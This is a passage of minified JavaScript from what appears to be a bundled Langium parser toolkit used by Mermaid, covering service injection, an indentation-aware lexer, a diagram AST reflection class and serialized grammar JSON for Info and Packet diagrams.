a)li(l)?s.push(this.setParent(this.hydrateAstNode(l,r),n)):Ta(l)?s.push(this.hydrateReference(l,n,i,r)):s.push(l)}else li(a)?n[i]=this.setParent(this.hydrateAstNode(a,r),n):Ta(a)?n[i]=this.hydrateReference(a,n,i,r):a!==void 0&&(n[i]=a);return n}setParent(e,r){return e.$container=r,e}hydrateReference(e,r,n,i){return this.linker.buildReference(r,n,i.cstNodes.get(e.$refNode),e.$refText)}hydrateCstNode(e,r,n=0){let i=r.cstNodes.get(e);if(typeof e.grammarSource=="number"&&(i.grammarSource=this.getGrammarElement(e.grammarSource)),i.astNode=r.astNodes.get(e.astNode),Ol(i))for(let a of e.content){let s=this.hydrateCstNode(a,r,n++);i.content.push(s)}return i}hydrateCstLeafNode(e){let r=this.getTokenType(e.tokenType),n=e.offset,i=e.length,a=e.startLine,s=e.startColumn,l=e.endLine,u=e.endColumn,h=e.hidden;return new Yp(n,i,{start:{line:a,character:s},end:{line:l,character:u}},r,h)}getTokenType(e){return this.lexer.definition[e]}getGrammarElementId(e){if(e)return this.grammarElementIdMap.size===0&&this.createGrammarElementIdMap(),this.grammarElementIdMap.get(e)}getGrammarElement(e){return this.grammarElementIdMap.size===0&&this.createGrammarElementIdMap(),this.grammarElementIdMap.getKey(e)}createGrammarElementIdMap(){let e=0;for(let r of Jo(this.grammar))Fx(r)&&this.grammarElementIdMap.set(r,e++)}}});function wa(t){return{documentation:{CommentProvider:o(e=>new e4(e),"CommentProvider"),DocumentationProvider:o(e=>new Jb(e),"DocumentationProvider")},parser:{AsyncParser:o(e=>new t4(e),"AsyncParser"),GrammarConfig:o(e=>PO(e),"GrammarConfig"),LangiumParser:o(e=>HP(e),"LangiumParser"),CompletionParser:o(e=>VP(e),"CompletionParser"),ValueConverter:o(()=>new Kp,"ValueConverter"),TokenBuilder:o(()=>new th,"TokenBuilder"),Lexer:o(e=>new e0(e),"Lexer"),ParserErrorMessageProvider:o(()=>new F1,"ParserErrorMessageProvider"),LexerErrorMessageProvider:o(()=>new Kb,"LexerErrorMessageProvider")},workspace:{AstNodeLocator:o(()=>new qb,"AstNodeLocator"),AstNodeDescriptionProvider:o(e=>new Ub(e),"AstNodeDescriptionProvider"),ReferenceDescriptionProvider:o(e=>new Hb(e),"ReferenceDescriptionProvider")},references:{Linker:o(e=>new Rb(e),"Linker"),NameProvider:o(()=>new Nb,"NameProvider"),ScopeProvider:o(e=>new Bb(e),"ScopeProvider"),ScopeComputation:o(e=>new Ib(e),"ScopeComputation"),References:o(e=>new Mb(e),"References")},serializer:{Hydrator:o(e=>new n4(e),"Hydrator"),JsonSerializer:o(e=>new Fb(e),"JsonSerializer")},validation:{DocumentValidator:o(e=>new Vb(e),"DocumentValidator"),ValidationRegistry:o(e=>new zb(e),"ValidationRegistry")},shared:o(()=>t.shared,"shared")}}function ka(t){return{ServiceRegistry:o(e=>new $b(e),"ServiceRegistry"),workspace:{LangiumDocuments:o(e=>new Lb(e),"LangiumDocuments"),LangiumDocumentFactory:o(e=>new Db(e),"LangiumDocumentFactory"),DocumentBuilder:o(e=>new Yb(e),"DocumentBuilder"),IndexManager:o(e=>new Xb(e),"IndexManager"),WorkspaceManager:o(e=>new jb(e),"WorkspaceManager"),FileSystemProvider:o(e=>t.fileSystemProvider(e),"FileSystemProvider"),WorkspaceLock:o(()=>new r4,"WorkspaceLock"),ConfigurationProvider:o(e=>new Wb(e),"ConfigurationProvider")}}}var PB=N(()=>{"use strict";BO();UP();qP();US();WP();aB();sB();oB();lB();uB();ZS();fB();dB();Gb();pB();mB();gB();vB();U1();xB();bB();n6();DB();LB();Ab();MB();IB();OB();o(wa,"createDefaultCoreModule");o(ka,"createDefaultSharedCoreModule")});function Hn(t,e,r,n,i,a,s,l,u){let h=[t,e,r,n,i,a,s,l,u].reduce(s6,{});return Ame(h)}function Cme(t){if(t&&t[Sme])for(let e of Object.values(t))Cme(e);return t}function Ame(t,e){let r=new Proxy({},{deleteProperty:o(()=>!1,"deleteProperty"),set:o(()=>{throw new Error("Cannot set property on injected service container")},"set"),get:o((n,i)=>i===Sme?!0:Eme(n,i,t,e||r),"get"),getOwnPropertyDescriptor:o((n,i)=>(Eme(n,i,t,e||r),Object.getOwnPropertyDescriptor(n,i)),"getOwnPropertyDescriptor"),has:o((n,i)=>i in t,"has"),ownKeys:o(()=>[...Object.getOwnPropertyNames(t)],"ownKeys")});return r}function Eme(t,e,r,n){if(e in t){if(t[e]instanceof Error)throw new Error("Construction failure. Please make sure that your dependencies are constructable.",{cause:t[e]});if(t[e]===kme)throw new Error('Cycle detected. Please make "'+String(e)+'" lazy. Visit https://langium.org/docs/reference/configuration-services/#resolving-cyclic-dependencies');return t[e]}else if(e in r){let i=r[e];t[e]=kme;try{t[e]=typeof i=="function"?i(n):Ame(i,n)}catch(a){throw t[e]=a instanceof Error?a:void 0,a}return t[e]}else return}function s6(t,e){if(e){for(let[r,n]of Object.entries(e))if(n!==void 0){let i=t[r];i!==null&&n!==null&&typeof i=="object"&&typeof n=="object"?t[r]=s6(i,n):t[r]=n}}return t}var BB,Sme,kme,FB=N(()=>{"use strict";(function(t){t.merge=(e,r)=>s6(s6({},e),r)})(BB||(BB={}));o(Hn,"inject");Sme=Symbol("isProxy");o(Cme,"eagerLoad");o(Ame,"_inject");kme=Symbol();o(Eme,"_resolve");o(s6,"_merge")});var _me=N(()=>{"use strict"});var Dme=N(()=>{"use strict";LB();DB();_B()});var Lme=N(()=>{"use strict"});var Rme=N(()=>{"use strict";BO();Lme()});var $B,t0,o6,zB,Nme=N(()=>{"use strict";Ff();US();n6();$B={indentTokenName:"INDENT",dedentTokenName:"DEDENT",whitespaceTokenName:"WS",ignoreIndentationDelimiters:[]};(function(t){t.REGULAR="indentation-sensitive",t.IGNORE_INDENTATION="ignore-indentation"})(t0||(t0={}));o6=class extends th{static{o(this,"IndentationAwareTokenBuilder")}constructor(e=$B){super(),this.indentationStack=[0],this.whitespaceRegExp=/[ \t]+/y,this.options=Object.assign(Object.assign({},$B),e),this.indentTokenType=Pf({name:this.options.indentTokenName,pattern:this.indentMatcher.bind(this),line_breaks:!1}),this.dedentTokenType=Pf({name:this.options.dedentTokenName,pattern:this.dedentMatcher.bind(this),line_breaks:!1})}buildTokens(e,r){let n=super.buildTokens(e,r);if(!r6(n))throw new Error("Invalid tokens built by default builder");let{indentTokenName:i,dedentTokenName:a,whitespaceTokenName:s,ignoreIndentationDelimiters:l}=this.options,u,h,f,d=[];for(let p of n){for(let[m,g]of l)p.name===m?p.PUSH_MODE=t0.IGNORE_INDENTATION:p.name===g&&(p.POP_MODE=!0);p.name===a?u=p:p.name===i?h=p:p.name===s?f=p:d.push(p)}if(!u||!h||!f)throw new Error("Some indentation/whitespace tokens not found!");return l.length>0?{modes:{[t0.REGULAR]:[u,h,...d,f],[t0.IGNORE_INDENTATION]:[...d,f]},defaultMode:t0.REGULAR}:[u,h,f,...d]}flushLexingReport(e){let r=super.flushLexingReport(e);return Object.assign(Object.assign({},r),{remainingDedents:this.flushRemainingDedents(e)})}isStartOfLine(e,r){return r===0||`\r +`.includes(e[r-1])}matchWhitespace(e,r,n,i){var a;this.whitespaceRegExp.lastIndex=r;let s=this.whitespaceRegExp.exec(e);return{currIndentLevel:(a=s?.[0].length)!==null&&a!==void 0?a:0,prevIndentLevel:this.indentationStack.at(-1),match:s}}createIndentationTokenInstance(e,r,n,i){let a=this.getLineNumber(r,i);return Qu(e,n,i,i+n.length,a,a,1,n.length)}getLineNumber(e,r){return e.substring(0,r).split(/\r\n|\r|\n/).length}indentMatcher(e,r,n,i){if(!this.isStartOfLine(e,r))return null;let{currIndentLevel:a,prevIndentLevel:s,match:l}=this.matchWhitespace(e,r,n,i);return a<=s?null:(this.indentationStack.push(a),l)}dedentMatcher(e,r,n,i){var a,s,l,u;if(!this.isStartOfLine(e,r))return null;let{currIndentLevel:h,prevIndentLevel:f,match:d}=this.matchWhitespace(e,r,n,i);if(h>=f)return null;let p=this.indentationStack.lastIndexOf(h);if(p===-1)return this.diagnostics.push({severity:"error",message:`Invalid dedent level ${h} at offset: ${r}. Current indentation stack: ${this.indentationStack}`,offset:r,length:(s=(a=d?.[0])===null||a===void 0?void 0:a.length)!==null&&s!==void 0?s:0,line:this.getLineNumber(e,r),column:1}),null;let m=this.indentationStack.length-p-1,g=(u=(l=e.substring(0,r).match(/[\r\n]+$/))===null||l===void 0?void 0:l[0].length)!==null&&u!==void 0?u:1;for(let y=0;y1;)r.push(this.createIndentationTokenInstance(this.dedentTokenType,e,"",e.length)),this.indentationStack.pop();return this.indentationStack=[0],r}},zB=class extends e0{static{o(this,"IndentationAwareLexer")}constructor(e){if(super(e),e.parser.TokenBuilder instanceof o6)this.indentationTokenBuilder=e.parser.TokenBuilder;else throw new Error("IndentationAwareLexer requires an accompanying IndentationAwareTokenBuilder")}tokenize(e,r=t6){let n=super.tokenize(e),i=n.report;r?.mode==="full"&&n.tokens.push(...i.remainingDedents),i.remainingDedents=[];let{indentTokenType:a,dedentTokenType:s}=this.indentationTokenBuilder,l=a.tokenTypeIdx,u=s.tokenTypeIdx,h=[],f=n.tokens.length-1;for(let d=0;d=0&&h.push(n.tokens[f]),n.tokens=h,n}}});var Mme=N(()=>{"use strict"});var Ime=N(()=>{"use strict";MB();UP();FS();Nme();qP();Ab();n6();VS();Mme();US();WP()});var Ome=N(()=>{"use strict";aB();sB();oB();cB();lB();uB()});var Pme=N(()=>{"use strict";OB();ZS()});var l6,Ea,GB=N(()=>{"use strict";l6=class{static{o(this,"EmptyFileSystemProvider")}readFile(){throw new Error("No file system is available.")}async readDirectory(){return[]}},Ea={fileSystemProvider:o(()=>new l6,"fileSystemProvider")}});function yje(){let t=Hn(ka(Ea),gje),e=Hn(wa({shared:t}),mje);return t.ServiceRegistry.register(e),e}function Zc(t){var e;let r=yje(),n=r.serializer.JsonSerializer.deserialize(t);return r.shared.workspace.LangiumDocumentFactory.fromModel(n,ys.parse(`memory://${(e=n.name)!==null&&e!==void 0?e:"grammar"}.langium`)),n}var mje,gje,Bme=N(()=>{"use strict";PB();FB();Hc();GB();Qc();mje={Grammar:o(()=>{},"Grammar"),LanguageMetaData:o(()=>({caseInsensitive:!1,fileExtensions:[".langium"],languageId:"langium"}),"LanguageMetaData")},gje={AstReflection:o(()=>new i1,"AstReflection")};o(yje,"createMinimalGrammarServices");o(Zc,"loadGrammarFromJson")});var Xr={};dr(Xr,{AstUtils:()=>GE,BiMap:()=>Qp,Cancellation:()=>br,ContextCache:()=>Zp,CstUtils:()=>RE,DONE_RESULT:()=>za,Deferred:()=>gs,Disposable:()=>Gf,DisposableCache:()=>W1,DocumentCache:()=>KS,EMPTY_STREAM:()=>Rx,ErrorWithLocation:()=>Rp,GrammarUtils:()=>WE,MultiMap:()=>Vl,OperationCancelled:()=>jc,Reduction:()=>vg,RegExpUtils:()=>HE,SimpleCache:()=>Pb,StreamImpl:()=>po,TreeStreamImpl:()=>Gc,URI:()=>ys,UriUtils:()=>vs,WorkspaceCache:()=>Y1,assertUnreachable:()=>Uc,delayNextTick:()=>tB,interruptAndCheck:()=>bi,isOperationCancelled:()=>Kc,loadGrammarFromJson:()=>Zc,setInterruptionPeriod:()=>ome,startCancelableOperation:()=>XS,stream:()=>an});var Fme=N(()=>{"use strict";QS();e6();Lr(Xr,ei);H1();yB();NE();Bme();tl();Ys();Qc();hs();el();Bl();zl();l1()});var $me=N(()=>{"use strict";dB();Gb()});var zme=N(()=>{"use strict";pB();mB();gB();vB();U1();GB();xB();IB();bB()});var Sa={};dr(Sa,{AbstractAstReflection:()=>Ap,AbstractCstNode:()=>kb,AbstractLangiumParser:()=>Eb,AbstractParserErrorMessageProvider:()=>zS,AbstractThreadedAsyncParser:()=>RB,AstUtils:()=>GE,BiMap:()=>Qp,Cancellation:()=>br,CompositeCstNodeImpl:()=>Xp,ContextCache:()=>Zp,CstNodeBuilder:()=>wb,CstUtils:()=>RE,DEFAULT_TOKENIZE_OPTIONS:()=>t6,DONE_RESULT:()=>za,DatatypeSymbol:()=>$S,DefaultAstNodeDescriptionProvider:()=>Ub,DefaultAstNodeLocator:()=>qb,DefaultAsyncParser:()=>t4,DefaultCommentProvider:()=>e4,DefaultConfigurationProvider:()=>Wb,DefaultDocumentBuilder:()=>Yb,DefaultDocumentValidator:()=>Vb,DefaultHydrator:()=>n4,DefaultIndexManager:()=>Xb,DefaultJsonSerializer:()=>Fb,DefaultLangiumDocumentFactory:()=>Db,DefaultLangiumDocuments:()=>Lb,DefaultLexer:()=>e0,DefaultLexerErrorMessageProvider:()=>Kb,DefaultLinker:()=>Rb,DefaultNameProvider:()=>Nb,DefaultReferenceDescriptionProvider:()=>Hb,DefaultReferences:()=>Mb,DefaultScopeComputation:()=>Ib,DefaultScopeProvider:()=>Bb,DefaultServiceRegistry:()=>$b,DefaultTokenBuilder:()=>th,DefaultValueConverter:()=>Kp,DefaultWorkspaceLock:()=>r4,DefaultWorkspaceManager:()=>jb,Deferred:()=>gs,Disposable:()=>Gf,DisposableCache:()=>W1,DocumentCache:()=>KS,DocumentState:()=>Ln,DocumentValidator:()=>rl,EMPTY_SCOPE:()=>rje,EMPTY_STREAM:()=>Rx,EmptyFileSystem:()=>Ea,EmptyFileSystemProvider:()=>l6,ErrorWithLocation:()=>Rp,GrammarAST:()=>zx,GrammarUtils:()=>WE,IndentationAwareLexer:()=>zB,IndentationAwareTokenBuilder:()=>o6,JSDocDocumentationProvider:()=>Jb,LangiumCompletionParser:()=>Cb,LangiumParser:()=>Sb,LangiumParserErrorMessageProvider:()=>F1,LeafCstNodeImpl:()=>Yp,LexingMode:()=>t0,MapScope:()=>Ob,Module:()=>BB,MultiMap:()=>Vl,OperationCancelled:()=>jc,ParserWorker:()=>NB,Reduction:()=>vg,RegExpUtils:()=>HE,RootCstNodeImpl:()=>B1,SimpleCache:()=>Pb,StreamImpl:()=>po,StreamScope:()=>q1,TextDocument:()=>G1,TreeStreamImpl:()=>Gc,URI:()=>ys,UriUtils:()=>vs,ValidationCategory:()=>X1,ValidationRegistry:()=>zb,ValueConverter:()=>Xc,WorkspaceCache:()=>Y1,assertUnreachable:()=>Uc,createCompletionParser:()=>VP,createDefaultCoreModule:()=>wa,createDefaultSharedCoreModule:()=>ka,createGrammarConfig:()=>PO,createLangiumParser:()=>HP,createParser:()=>_b,delayNextTick:()=>tB,diagnosticData:()=>Jp,eagerLoad:()=>Cme,getDiagnosticRange:()=>mme,indentationBuilderDefaultOptions:()=>$B,inject:()=>Hn,interruptAndCheck:()=>bi,isAstNode:()=>li,isAstNodeDescription:()=>qI,isAstNodeWithComment:()=>hB,isCompositeCstNode:()=>Ol,isIMultiModeLexerDefinition:()=>wB,isJSDoc:()=>CB,isLeafCstNode:()=>If,isLinkingError:()=>_p,isNamed:()=>dme,isOperationCancelled:()=>Kc,isReference:()=>Ta,isRootCstNode:()=>Lx,isTokenTypeArray:()=>r6,isTokenTypeDictionary:()=>TB,loadGrammarFromJson:()=>Zc,parseJSDoc:()=>SB,prepareLangiumParser:()=>eme,setInterruptionPeriod:()=>ome,startCancelableOperation:()=>XS,stream:()=>an,toDiagnosticData:()=>gme,toDiagnosticSeverity:()=>JS});var vo=N(()=>{"use strict";PB();FB();fB();_me();Pl();Dme();Rme();Ime();Ome();Pme();Fme();Lr(Sa,Xr);$me();zme();Hc()});function Xme(t){return Ul.isInstance(t,i4)}function jme(t){return Ul.isInstance(t,j1)}function Kme(t){return Ul.isInstance(t,K1)}function Qme(t){return Ul.isInstance(t,Q1)}function Zme(t){return Ul.isInstance(t,a4)}function Jme(t){return Ul.isInstance(t,Z1)}function ege(t){return Ul.isInstance(t,s4)}function tge(t){return Ul.isInstance(t,o4)}function rge(t){return Ul.isInstance(t,l4)}function nge(t){return Ul.isInstance(t,c4)}function ige(t){return Ul.isInstance(t,u4)}var vje,Tt,QB,i4,c6,j1,u6,h6,VB,K1,UB,HB,qB,Q1,WB,a4,f6,YB,Z1,XB,s4,o4,l4,c4,g6,jB,u4,KB,d6,p6,m6,age,Ul,Gme,xje,Vme,bje,Ume,Tje,Hme,wje,qme,kje,Wme,Eje,Yme,Sje,Cje,Aje,_je,Dje,Lje,Rje,Nje,xs,ZB,JB,eF,tF,rF,nF,iF,Mje,Ije,Oje,Pje,Vf,rh,Ha,Bje,qa=N(()=>{"use strict";vo();vo();vo();vo();vje=Object.defineProperty,Tt=o((t,e)=>vje(t,"name",{value:e,configurable:!0}),"__name"),QB="Statement",i4="Architecture";o(Xme,"isArchitecture");Tt(Xme,"isArchitecture");c6="Axis",j1="Branch";o(jme,"isBranch");Tt(jme,"isBranch");u6="Checkout",h6="CherryPicking",VB="ClassDefStatement",K1="Commit";o(Kme,"isCommit");Tt(Kme,"isCommit");UB="Curve",HB="Edge",qB="Entry",Q1="GitGraph";o(Qme,"isGitGraph");Tt(Qme,"isGitGraph");WB="Group",a4="Info";o(Zme,"isInfo");Tt(Zme,"isInfo");f6="Item",YB="Junction",Z1="Merge";o(Jme,"isMerge");Tt(Jme,"isMerge");XB="Option",s4="Packet";o(ege,"isPacket");Tt(ege,"isPacket");o4="PacketBlock";o(tge,"isPacketBlock");Tt(tge,"isPacketBlock");l4="Pie";o(rge,"isPie");Tt(rge,"isPie");c4="PieSection";o(nge,"isPieSection");Tt(nge,"isPieSection");g6="Radar",jB="Service",u4="Treemap";o(ige,"isTreemap");Tt(ige,"isTreemap");KB="TreemapRow",d6="Direction",p6="Leaf",m6="Section",age=class extends Ap{static{o(this,"MermaidAstReflection")}static{Tt(this,"MermaidAstReflection")}getAllTypes(){return[i4,c6,j1,u6,h6,VB,K1,UB,d6,HB,qB,Q1,WB,a4,f6,YB,p6,Z1,XB,s4,o4,l4,c4,g6,m6,jB,QB,u4,KB]}computeIsSubtype(t,e){switch(t){case j1:case u6:case h6:case K1:case Z1:return this.isSubtype(QB,e);case d6:return this.isSubtype(Q1,e);case p6:case m6:return this.isSubtype(f6,e);default:return!1}}getReferenceType(t){let e=`${t.container.$type}:${t.property}`;switch(e){case"Entry:axis":return c6;default:throw new Error(`${e} is not a valid reference id.`)}}getTypeMetaData(t){switch(t){case i4:return{name:i4,properties:[{name:"accDescr"},{name:"accTitle"},{name:"edges",defaultValue:[]},{name:"groups",defaultValue:[]},{name:"junctions",defaultValue:[]},{name:"services",defaultValue:[]},{name:"title"}]};case c6:return{name:c6,properties:[{name:"label"},{name:"name"}]};case j1:return{name:j1,properties:[{name:"name"},{name:"order"}]};case u6:return{name:u6,properties:[{name:"branch"}]};case h6:return{name:h6,properties:[{name:"id"},{name:"parent"},{name:"tags",defaultValue:[]}]};case VB:return{name:VB,properties:[{name:"className"},{name:"styleText"}]};case K1:return{name:K1,properties:[{name:"id"},{name:"message"},{name:"tags",defaultValue:[]},{name:"type"}]};case UB:return{name:UB,properties:[{name:"entries",defaultValue:[]},{name:"label"},{name:"name"}]};case HB:return{name:HB,properties:[{name:"lhsDir"},{name:"lhsGroup",defaultValue:!1},{name:"lhsId"},{name:"lhsInto",defaultValue:!1},{name:"rhsDir"},{name:"rhsGroup",defaultValue:!1},{name:"rhsId"},{name:"rhsInto",defaultValue:!1},{name:"title"}]};case qB:return{name:qB,properties:[{name:"axis"},{name:"value"}]};case Q1:return{name:Q1,properties:[{name:"accDescr"},{name:"accTitle"},{name:"statements",defaultValue:[]},{name:"title"}]};case WB:return{name:WB,properties:[{name:"icon"},{name:"id"},{name:"in"},{name:"title"}]};case a4:return{name:a4,properties:[{name:"accDescr"},{name:"accTitle"},{name:"title"}]};case f6:return{name:f6,properties:[{name:"classSelector"},{name:"name"}]};case YB:return{name:YB,properties:[{name:"id"},{name:"in"}]};case Z1:return{name:Z1,properties:[{name:"branch"},{name:"id"},{name:"tags",defaultValue:[]},{name:"type"}]};case XB:return{name:XB,properties:[{name:"name"},{name:"value",defaultValue:!1}]};case s4:return{name:s4,properties:[{name:"accDescr"},{name:"accTitle"},{name:"blocks",defaultValue:[]},{name:"title"}]};case o4:return{name:o4,properties:[{name:"bits"},{name:"end"},{name:"label"},{name:"start"}]};case l4:return{name:l4,properties:[{name:"accDescr"},{name:"accTitle"},{name:"sections",defaultValue:[]},{name:"showData",defaultValue:!1},{name:"title"}]};case c4:return{name:c4,properties:[{name:"label"},{name:"value"}]};case g6:return{name:g6,properties:[{name:"accDescr"},{name:"accTitle"},{name:"axes",defaultValue:[]},{name:"curves",defaultValue:[]},{name:"options",defaultValue:[]},{name:"title"}]};case jB:return{name:jB,properties:[{name:"icon"},{name:"iconText"},{name:"id"},{name:"in"},{name:"title"}]};case u4:return{name:u4,properties:[{name:"accDescr"},{name:"accTitle"},{name:"title"},{name:"TreemapRows",defaultValue:[]}]};case KB:return{name:KB,properties:[{name:"indent"},{name:"item"}]};case d6:return{name:d6,properties:[{name:"accDescr"},{name:"accTitle"},{name:"dir"},{name:"statements",defaultValue:[]},{name:"title"}]};case p6:return{name:p6,properties:[{name:"classSelector"},{name:"name"},{name:"value"}]};case m6:return{name:m6,properties:[{name:"classSelector"},{name:"name"}]};default:return{name:t,properties:[]}}}},Ul=new age,xje=Tt(()=>Gme??(Gme=Zc(`{"$type":"Grammar","isDeclared":true,"name":"Info","imports":[],"rules":[{"$type":"ParserRule","entry":true,"name":"Info","definition":{"$type":"Group","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@12"},"arguments":[],"cardinality":"*"},{"$type":"Keyword","value":"info"},{"$type":"RuleCall","rule":{"$ref":"#/rules@12"},"arguments":[],"cardinality":"*"},{"$type":"Group","elements":[{"$type":"Keyword","value":"showInfo"},{"$type":"RuleCall","rule":{"$ref":"#/rules@12"},"arguments":[],"cardinality":"*"}],"cardinality":"?"},{"$type":"RuleCall","rule":{"$ref":"#/rules@2"},"arguments":[],"cardinality":"?"}]},"definesHiddenTokens":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"EOL","dataType":"string","definition":{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@12"},"arguments":[],"cardinality":"+"},{"$type":"EndOfFile"}]},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"TitleAndAccessibilities","definition":{"$type":"Group","elements":[{"$type":"Alternatives","elements":[{"$type":"Assignment","feature":"accDescr","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@4"},"arguments":[]}},{"$type":"Assignment","feature":"accTitle","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@5"},"arguments":[]}},{"$type":"Assignment","feature":"title","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@6"},"arguments":[]}}]},{"$type":"RuleCall","rule":{"$ref":"#/rules@1"},"arguments":[]}],"cardinality":"+"},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"BOOLEAN","type":{"$type":"ReturnType","name":"boolean"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"CharacterRange","left":{"$type":"Keyword","value":"true"}},{"$type":"CharacterRange","left":{"$type":"Keyword","value":"false"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_DESCR","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accDescr(?:[\\\\t ]*:([^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)|\\\\s*{([^}]*)})/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accTitle[\\\\t ]*:(?:[^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*title(?:[\\\\t ][^\\\\n\\\\r]*?(?=%%)|[\\\\t ][^\\\\n\\\\r]*|)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"FLOAT","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/[0-9]+\\\\.[0-9]+(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"INT","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/0|[1-9][0-9]*(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NUMBER","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@7"}},{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@8"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"STRING","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/\\"([^\\"\\\\\\\\]|\\\\\\\\.)*\\"|'([^'\\\\\\\\]|\\\\\\\\.)*'/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ID","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/[\\\\w]([-\\\\w]*\\\\w)?/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NEWLINE","definition":{"$type":"RegexToken","regex":"/\\\\r?\\\\n/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","hidden":true,"name":"WHITESPACE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]+/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"YAML","definition":{"$type":"RegexToken","regex":"/---[\\\\t ]*\\\\r?\\\\n(?:[\\\\S\\\\s]*?\\\\r?\\\\n)?---(?:\\\\r?\\\\n|(?!\\\\S))/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"DIRECTIVE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*%%{[\\\\S\\\\s]*?}%%(?:\\\\r?\\\\n|(?!\\\\S))/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"SINGLE_LINE_COMMENT","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*%%[^\\\\n\\\\r]*/"},"fragment":false}],"definesHiddenTokens":false,"hiddenTokens":[],"interfaces":[],"types":[],"usedGrammars":[]}`)),"InfoGrammar"),bje=Tt(()=>Vme??(Vme=Zc(`{"$type":"Grammar","isDeclared":true,"name":"Packet","imports":[],"rules":[{"$type":"ParserRule","entry":true,"name":"Packet","definition":{"$type":"Group","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@13"},"arguments":[],"cardinality":"*"},{"$type":"Alternatives","elements":[{"$type":"Keyword","value":"packet"},{"$type":"Keyword","value":"packet-beta"}]},{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@3"},"arguments":[]},{"$type":"Assignment","feature":"blocks","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@1"},"arguments":[]}},{"$type":"RuleCall","rule":{"$ref":"#/rules@13"},"arguments":[]}],"cardinality":"*"}]},"definesHiddenTokens":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"PacketBlock","definition":{"$type":"Group","elements":[{"$type":"Alternatives","elements":[{"$type":"Group","elements":[{"$type":"Assignment","feature":"start","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@9"},"arguments":[]}},{"$type":"Group","elements":[{"$type":"Keyword","value":"-"},{"$type":"Assignment","feature":"end","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@9"},"arguments":[]}}],"cardinality":"?"}]},{"$type":"Group","elements":[{"$type":"Keyword","value":"+"},{"$type":"Assignment","feature":"bits","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@9"},"arguments":[]}}]}]},{"$type":"Keyword","value":":"},{"$type":"Assignment","feature":"label","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@11"},"arguments":[]}},{"$type":"RuleCall","rule":{"$ref":"#/rules@2"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"EOL","dataType":"string","definition":{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@13"},"arguments":[],"cardinality":"+"},{"$type":"EndOfFile"}]},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"TitleAndAccessibilities","definition":{"$type":"Group","elements":[{"$type":"Alternatives","elements":[{"$type":"Assignment","feature":"accDescr","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@5"},"arguments":[]}},{"$type":"Assignment","feature":"accTitle","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@6"},"arguments":[]}},{"$type":"Assignment","feature":"title","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@7"},"arguments":[]}}]},{"$type":"RuleCall","rule":{"$ref":"#/rules@2"},"arguments":[]}],"cardinality":"+"},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"BOOLEAN","type":{"$type":"ReturnType","name":"boolean"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"CharacterRange","left":{"$type":"Keyword","value":"true"}},{"$type":"CharacterRange","left":{"$type":"Keyword","value":"false"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_DESCR","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accDescr(?:[\\\\t 